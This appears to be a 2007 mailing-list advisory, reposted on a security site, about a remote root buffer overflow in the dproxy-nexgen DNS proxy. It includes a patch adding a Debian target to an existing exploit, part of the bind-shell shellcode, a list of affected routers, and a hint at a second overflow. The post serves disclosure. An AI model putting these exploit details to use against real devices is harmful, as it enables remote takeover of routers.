dproxy-nexgen remote

Advisory Content :

Hi mu-b & all,

On Sat, Mar 31, 2007 at 01:18:00AM +0100, mu-b wrote:
> attached is an exploit for the latest dproxy-nexgen, seems the
> latest version is just as bad as the previous dproxy-0.5...
Good work, definitely looks like it. Here is a small patch on what
I needed to change/add to make it work on my Debian stable test image:

--- dproxy-v1.c.orig 2007-03-31 11:12:39.000000000 +0200
+++ dproxy-v1.c 2007-03-31 11:10:41.000000000 +0200
@@ -41,7 +41,7 @@
"x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"x89xe1xcdx80";

-#define NUM_TARGETS 1
+#define NUM_TARGETS 2

struct target_t
{
@@ -58,6 +58,9 @@
{"dproxy-nexgen (tar.gz)",
512, 25, bndshell_lnx, 284, 0x08048cf9}
,
+ {"dproxy-nexgen (tar.gz, Debian stable)",
+ 512, 25, bndshell_lnx, 281, 0x08048cf8}
+ ,
{0}
};

With that patch it works just fine and is indeed the missing link to say
that dproxy is remote-root exploitable in all versions.
The case with dproxy-nexgen is much worse than with dproxy 0.1-0.5,
though,
as it is used in a number of WLAN APs, at least the following:

- Linksys WRT54AG [0]
- Linksys WRT54G with the BatBox firmware replacement [0]
- Asus WL500g [1]
- Netgear DG834G [2]
- FRITZ!Box WLAN 7170 (and possibly others) [3]

> problem exists because of lack of NULL checking in
dns_decode_reverse_name...
I was roughly expecting something like this, but did not have enough
time
to look into it deeper. dns_decode_name looks vulnerable to me, too,
as name is 255 bytes and buf is a max of 512. So asking for the DNS
name 255xA.255x[overflow] should be another option. I guess we can
conclude that dproxy is quite broken (from what I read on the web,
not only security-wise) and should be replaced.

Best regards,
Alex

[0]: http://dproxy.sf.net
[1]: http://wl500g.info/showthread.php/?p=7945
[2]: http://www.galliford.org/dg834g/
[3]: http://www.ip-phone-forum.de/showthread.php?t=78556&page=2 (german)

--
Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at
cynops.de
mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de
----------------------------+----------------------+---------------------
HRB 7833, Amtsgericht | USt-Id: DE 213094986 |
Geschäftsführer:
Bad Homburg v. d. Höhe | | Martin
Bartosch

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason